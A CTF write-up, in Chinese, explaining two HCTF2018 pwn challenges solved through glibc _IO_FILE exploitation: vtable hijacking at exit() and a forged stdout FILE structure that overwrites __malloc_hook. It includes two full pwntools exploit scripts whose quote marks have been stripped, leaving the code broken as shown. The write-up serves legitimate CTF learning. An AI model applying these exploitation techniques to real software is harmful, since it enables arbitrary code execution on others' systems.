HCTF2018 the_end&&babyprintf_var2 Writeup

written by catling

周末做了HCTF2018的兩個pwn題目,都是_IO_FILE相關利用,這裡簡單總結分析一下。

the_end

這個題目邏輯很簡單,5次任意地址寫1byte,而且已經有了libc的地址,關鍵是往哪裡寫。

exit()函數先會進行一些清理工作,然後再中斷程序,在跟蹤的時候發現有這樣的一個跳轉

這裡的call跳轉是根據虛表決定的

同時發現,在call執行的時候,有一個輸入的數據在棧上,於是採用跳gadget的方式,最後一次輸入one_gadget的地址,然後用一個add rsp, 0x80;ret;的語句跳到one_gadget上去。

由於關閉了stdoutget shell後重定位恢復即可。

exp:

from pwn import *
import os

context.log_level = debug
env = os.environ
env[LD_PRELOAD] = ./libc64.so
libc = ELF(./libc64.so)

p = process(./the_end, env = env)
p.recvuntil("here is a gift ")
leak = int(p.recv(14),16)
log.info("leak libc addr is " + hex(leak))
p.recvuntil("luck ;)
")

libc_base = leak - 0xcc230
log.info("libc base is " + hex(libc_base))

one_gadget = libc_base + 0x4526a
log.info("one_gadget is " + hex(one_gadget))

offset1 = libc_base + 0x3c56f8
offset2 = libc_base + 0x3c4b00

change1 = libc_base + 0x3c4aa8
change2 = libc_base + 0x8400D

p.send(p64(offset1))
sleep(0.1)
p.send(p8(int(0x+hex(change1)[-2:],16)))

sleep(0.1)
p.send(p64(offset1+1))
sleep(0.1)
p.send(p8(int(0x+hex(change1)[-4:-2],16)))
sleep(0.1)

p.send(p64(offset2))
sleep(0.1)
p.send(p8(int(0x+hex(change2)[-2:],16)))
sleep(0.1)

p.send(p64(offset2+1))
sleep(0.1)
p.send(p8(int(0x+hex(change2)[-4:-2],16)))
sleep(0.1)

p.send(p64(one_gadget))
sleep(0.1)

p.send(p8(0x1))

sleep(1)

p.interactive()

babyprintf_var2

先看一下保護措施,由於有FORTIFY,而且libc的版本是2.27,所以不能使用格式化字元串的思路,而且出題人故意給棧上填充了很多數據,所以不能使用格式化字元串的思路來leak地址或者修改內存。

所以這題目和the_end一樣,考察對_IO_FILE的利用

main()函數中,現將stdout的虛表指針取出來,後面判斷,如果不對的話,再把指針寫回去(是寫回去,不是直接終止程序)。所以我們就有了一個可以控制的_IO_FILE結構。

跟蹤一下__printf_chk()函數,可以看見調用了vfprintf()隨後調用了_IO_file_xsputn(),並且第二個參數是我們輸入的字元,

後面為了清楚我們直接看程序的源碼。

這裡_flags & _IO_LINE_BUF執行為0,所以執行後面else if的語句,如果count大於0並且大於to_do的話,執行__mempcpy,同時count控制了複製的長度。

所以只要修改_IO_write_ptr_IO_write_end就可以進行任意地址寫,寫的內容為我們輸入的字元。

我的做法是改寫malloc_hook,用libc報錯觸發malloc_hook

_flags=0xfbad2887
_fileno=1
_lock= 一個可寫地址
_IO_write_ptr=malloc_hook
_IO_write_end=malloc_hook+8

Exp:

from pwn import *
import os

env = os.environ
env[LD_PRELOAD] = ./libc64.so

context.log_level = debug
libc = ELF(./libc64.so)

def struct_io_file(_flags=0,_IO_read_ptr=0,_IO_read_end=0,_IO_read_base=0,
_IO_write_base=0,_IO_write_ptr=0,_IO_write_end=0,
_IO_buf_base=0,_IO_buf_end=0,
_IO_save_base=0,_IO_backup_base=0,_IO_save_end=0,
_markers=0,_chain=0,_fileno=0,_flag2=0,_lock=0):
f = p64(_flags) + p64(_IO_read_ptr) +
p64(_IO_read_end) + p64(_IO_read_base) +
p64(_IO_write_base) + p64(_IO_write_ptr) +
p64(_IO_write_end) + p64(_IO_buf_base) +
p64(_IO_buf_end) + p64(_IO_save_base) +
p64(_IO_backup_base) + p64(_IO_save_end) +
p64(_markers) + p64(_chain) +
p64(_fileno) + p64(_flag2) +
p64(0) + p64(_lock)
f = f.ljust(0xd0,x00)
return f

p = process(./babyprintf_ver2,env=env)

p.recvuntil("So I change the buffer location to ")

text_addr = int(p.recv(14), 16)

log.info("test addr is " + hex(text_addr))
text_base = text_addr - 0x202010
log.info("text base is " + hex(text_base))
p.recvuntil("Have fun!
")

p.sendline(a*16 +
p64(text_addr+32) +
p64(0) +
struct_io_file(_flags=0xfbad2887,_fileno=1,
_IO_write_base=(text_base+0x0000000000201FB0),
_IO_write_ptr=text_base+0x0000000000201FB0+8,
_IO_read_end=text_base+0x0000000000201FB0,
_lock=text_addr+0x100)
)

p.recvuntil(rewrite vtable is not permitted!
)

leak = u64(p.recv(8))

libc_base = leak - libc.symbols[puts]
log.info("libc base is " + hex(libc_base))
p.recv()

malloc_hook = libc_base + libc.symbols[__malloc_hook]
one_gadget = libc_base + 0x4f322

p.sendline(p64(one_gadget)*2+p64(text_addr+32)+p64(0)+
struct_io_file(_flags=0xfbad2887,
_fileno=1,
_lock=text_addr+0x150,
_IO_write_ptr=malloc_hook,
_IO_write_end=malloc_hook+8))

sleep(1.1)
log.info("malloc hook is " + hex(malloc_hook))
log.info("one_gadget is " + hex(one_gadget))

p.sendline("%n%n%n%n")
sleep(0.1)

p.interactive()

推薦閱讀:

相关文章